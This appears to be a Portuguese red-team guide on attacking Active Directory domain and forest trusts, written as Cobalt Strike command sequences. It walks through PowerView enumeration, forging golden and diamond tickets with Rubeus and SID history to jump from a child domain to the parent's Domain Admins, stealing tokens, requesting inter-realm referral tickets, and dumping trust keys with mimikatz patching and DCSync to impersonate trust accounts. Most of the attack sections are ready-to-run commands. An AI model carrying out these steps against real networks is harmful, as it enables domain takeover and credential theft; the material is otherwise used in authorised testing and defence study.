Confiança entre Domínios e Florestas

Em um nível básico, uma relação de confiança permite que usuários de um domínio autentiquem e acessem recursos de outro domínio. Isso funciona permitindo que o tráfego de autenticação flua entre eles usando referências. Quando um usuário solicita acesso a um recurso fora de seu domínio atual, seu KDC retornará um ticket de referência apontando para o KDC do domínio de destino. O TGT do usuário é criptografado usando uma chave de confiança entre domínios (em vez do krbtgt local), que geralmente é chamada de TGT entre domínios. O domínio estrangeiro descriptografa esse ticket, recupera o TGT do usuário e decide se deve ou não ter acesso ao recurso. As relações de confiança podem ser unilaterais ou bidirecionais; e transitivo ou não transitivo.

Uma confiança unidirecional permite que os principais do domínio confiável acessem recursos no domínio confiável, mas não vice-versa. Uma relação de confiança bidirecional é, na verdade, apenas duas relações de confiança unidirecionais que vão em direções opostas e permitem que os usuários de cada domínio acessem recursos no outro.

A transitividade define se um trust pode ou não ser encadeado. Por exemplo - se o Domínio A confia no Domínio B e o Domínio B confia no Domínio C; então A também confia em C. Quando um domínio filho é adicionado a uma floresta, ele cria automaticamente uma relação de confiança transitiva e bidirecional com seu pai.

Para ver a confiança entre Domínios, execute o comando abaixo e verifique campos como SourceName que é o Domínio atual, TargetName que indica o Domínio estrangeiro, TrustDirection é a direção de confiança e TrustAttributes que, caso tenha o valor WITHIN_FOREST, nos permite saber que ambos os domínios fazem parte da mesma floresta, o que implica um relacionamento pai/filho.

powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainTrust

Se tivermos privilégios de Domínio Admin no filho, também podemos obter privilégios de Domain Admin no pai usando um TGT com um atributo especial chamado de SID History. O SID History foi projetado para oferecer suporte a cenários de migração, onde um usuário seria movido de um Domínio para outro. Para preservar o acesso aos recursos no Domínio "antigo", o SID anterior do usuário seria adicionado ao histórico de SID da nova conta. Ao criar tal ticket, pode ser adicionado o SID de um grupo privilegiado (Domain Admins, Enterprise Admins, etc) no Domínio pai, que concederá acesso a todos os recursos no pai. Isto pode ser conseguido usando um Golden Ticket ou Diamond Ticket.

Golden Ticket

O processo é o mesmo da criação de Golden Tickets tradicional, a única informação adicional necessária é o SID de um grupo alvo no Domínio pai. No exemplo abaixo estamos pegando o SID do grupo Domain Admins. Para realizar esse processo, execute a partir de um Domínio filho, por exemplo, <subdomain.domain.local>.

powershell Get-DomainGroup -Identity "Domain Admins" -Domain <domain.local> -Properties ObjectSid

Vamos pegar algum usuário admin no Domínio alvo. Caso não consiga essa informação, utilize um usuário padrão, como por exemplo, o Administrator

powershell Get-NetUser -Domain <domain.local> | ? {$_.admincount -eq 1} | select samaccountname

Podemos então criar o nosso Golden Ticket no Windows (fora do CS)

<C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> golden /aes256:<aes256_hmac> /user:<user-admin> /domain:<subdomain.domain.local> /sid:<sid-domain-atual> /sids:<sid-domain-admins-group> /nowrap

Em seguida, importe-o para uma sessão de logon e use-o para acessar o DC do pai.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<domain.local> /username:<user-admin> /password:<qualquer_senha> /ticket:<base64-ticket>
steal_token <ProcessID>

Verifique se foi criado um ticket para o usuário em questão

run klist

Caso positivo, pegue o DC do Domínio pai

powershell Get-DomainController -Domain <domain.local> | select Name

E então, tente acessá-lo

ls \\<dc.domain.local>\c$

Diamond Ticket

Assim como um Golden Ticket, um Diamond Ticket é um TGT que pode ser utilizado para aceder a qualquer serviço como qualquer utilizador. Um Golden Ticket é forjado completamente offline, criptografado com o hash krbtgt desse domínio e depois passado para uma sessão de logon para uso. Como os controladores de domínio não rastreiam TGTs que eles (ou eles) emitiram legitimamente, eles aceitarão alegremente TGTs criptografados com seu próprio hash krbtgt.

Portanto, uma possível tática para detectar o uso de bilhetes dourados é procurar por TGS-REQs que não possuam AS-REQ correspondente. Um Diamond Ticket é feito modificando os campos de um TGT legítimo emitido por um CD. Isto é conseguido solicitando um TGT, descriptografando-o com o hash krbtgt do domínio, modificando os campos desejados do ticket e, em seguida, criptografando-o novamente. Isto supera a deficiência mencionada de um Golden Ticket porque qualquer TGS-REQs terá um AS-REQ anterior.

O comando Diamond do Rubeus também possui um parâmetro /sids, com o qual podemos fornecer os SIDs extras que desejamos em nosso ticket.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:519 /sids:S-1-5-21-2594061375-675613155-814674916-519 /krbkey:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /nowrap

Em seguida, importe-o para uma sessão de logon e use-o para acessar o DC do pai.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<domain.local> /username:<user-admin> /password:<qualquer_senha> /ticket:<base64-ticket>
steal_token <ProcessID>

Verifique se foi criado um ticket para o usuário em questão

run klist

Caso positivo, pegue o DC do Domínio pai

powershell Get-DomainController -Domain <domain.local> | select Name

E então, tente acessá-lo

ls \\<dc.domain.local>\c$

Se <subdomain.domain.local> também tivesse um filho (por exemplo, something.subdomain.domain.local>), então um Domain Admin de something, seria capaz de usar seu krbtgt para pular para Domain/Enterprise Admin em <domain.local> instantaneamente porque as relações de confiança são transitivas.

Existem também outros meios que não exigem Domain Admin no Domínio filho. Por exemplo, você também pode fazer kerberoast e ASREProast em relações de confiança de Domínio, o que pode levar à divulgação de credenciais privilegiadas. Como os principais do <domain> podem ter acesso aos recursos do <subdomain>, você pode encontrar casos em que eles acessam máquinas que comprometemos. Se eles interagirem com uma máquina com delegação irrestrita, poderemos capturar seus TGTs. Se eles estiverem interativos em uma máquina, como RDP, podemos representá-los como qualquer outro usuário.

Direção de Confiança One-Way Inbound

Verificando o tipo de direção de confiança (campo TrustAttributes)

powershell Get-DomainTrust

Verificando quem é o DC do outro Domínio

powershell Get-DomainComputer -Domain <TargetName> -Properties DnsHostName

Enumerando todos os grupos que contenham usuários fora de seu domínio e retornará seus respectivos membros

powershell Get-DomainForeignGroupMember -Domain <TargetName>

Na saída do comando, converta o SID presente no campo MemberName, através do comando:

powershell ConvertFrom-SID <SID>

Caso o SID seja um grupo, podemos ver quem são os seus usuários

powershell Get-DomainGroupMember -Identity "<grupo>" | select MemberName

Para acessar um domínio confiável usando Kerberos, primeiro precisamos de uma chave entre domínios. Obtenha um TGT para o usuário alvo (aqui estou usando asktgt com seu hash AES256).

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asktgt /user:<user> /domain:<subdomain.domain.local> /aes256:<aes256_hmac> /nowrap

Agora, use esse TGT para solicitar um ticket de referência do domínio atual para o domínio de destino.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asktgs /service:krbtgt/<TargetName> /domain:<subdomain.domain.local> /dc:<dc.subdomain.domain.local> /ticket:<base64-ticket> /nowrap

OBS.: Observe como esse ticket entre domínios é do tipo rc4_hmac, embora nosso TGT fosse aes256_cts_hmac_sha1. Esta é a configuração padrão, a menos que o AES tenha sido configurado especificamente na confiança.

Finalmente, use este ticket entre regiões para solicitar TGS no domínio de destino. Aqui, estou solicitando um ticket para CIFS.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asktgs /service:cifs/<dc.<TargetName>> /domain:dev-studio.com /dc:<dc.<TargetName>> /ticket:<base64-ticket> /nowrap

Para verificar se deu certo, consulte se foi criado um ticket e tente acessar o DC do outro Domínio

run klist
ls \\<dc.<TargetName>>\c$

Direção de Confiança One-Way Outbound

Lembre-se de que se o Domínio A confiar no Domínio B, os usuários do Domínio B poderão acessar recursos do Domínio A; mas os usuários no Domínio A não devem poder acessar recursos no Domínio B. Verificando confiança entre Domínios (campo TrustDirection)

powershell Get-DomainTrust -Domain <domain.local>

Ambos os domínios em uma relação de confiança armazenam uma senha compartilhada (que é alterada automaticamente a cada 30 dias) em um TDO (Trusted Domain Object). Esses objetos são armazenados no contêiner do sistema e podem ser lidos via LDAP. Verificando as TDOs do Domínio (guarde o valor distinguishedName para futuros comandos).

execute-assembly <C:\path\to\ADSearch\ADSearch\bin\Release\ADSearch.exe> --search "(objectCategory=trustedDomain)" --domain <domain.local> --attributes distinguishedName,name,flatName,trustDirection

Existem duas opções para obter o material chave. A primeira consiste em se mover lateralmente para o próprio DC e fazer o dump da memória.

OBS.: Isso executa patches de memória, o que é muito arriscado, principalmente em um Domain Controller

mimikatz lsadump::trust /patch

A segunda opção, consiste em utilizar o DCSync com o GUID do TDO

powershell Get-DomainObject -Identity "<distinguishedName>" | select objectGuid

Pegue a saída do comando anterior para executar o comando abaixo

mimikatz @lsadump::dcsync /domain:<domain.local> /guid:{<objectGuid>}

No resultado, note que temos o campo [Out] e [Out-1] que são as senhas "novas" e "antigas" respectivamente (se elas forem iguais, significa que não se passaram 30 dias desde a criação do trust). Na maioria dos casos, o [Out] atual é a que você deseja. Além disso, existe também uma "Trust Account" que é criada no Domínio "trusted", com o nome do domínio "trusting". Por exemplo, se obtivermos todas as contas de usuário no domínio A, veremos B$ e C$, que são as contas de confiança para esses respectivos domínios de confiança. Utilize o valor de rc4_hmac_nt na saída do comando acima para executar o comando abaixo. Ticket RC$ são usados por padrão entre trusts. Atente-se ao $ no nome do usuário, ele é obrigatório em cenários onde realmente tem o $ no final devido ser uma conta de trust.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asktgt /user:<user>$ /domain:<outro.domain> /rc4:<rc4_hmac_nt> /nowrap

Com o base64 do TGT em mãos, execute:

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<outro.domain> /username:<user>$ /password:<qualquer_senha> /ticket:<base64-ticket>
steal_token <ProcessID>

Verificando informações do Domínio

powershell Get-Domain -Domain <outro.domain>

Last updated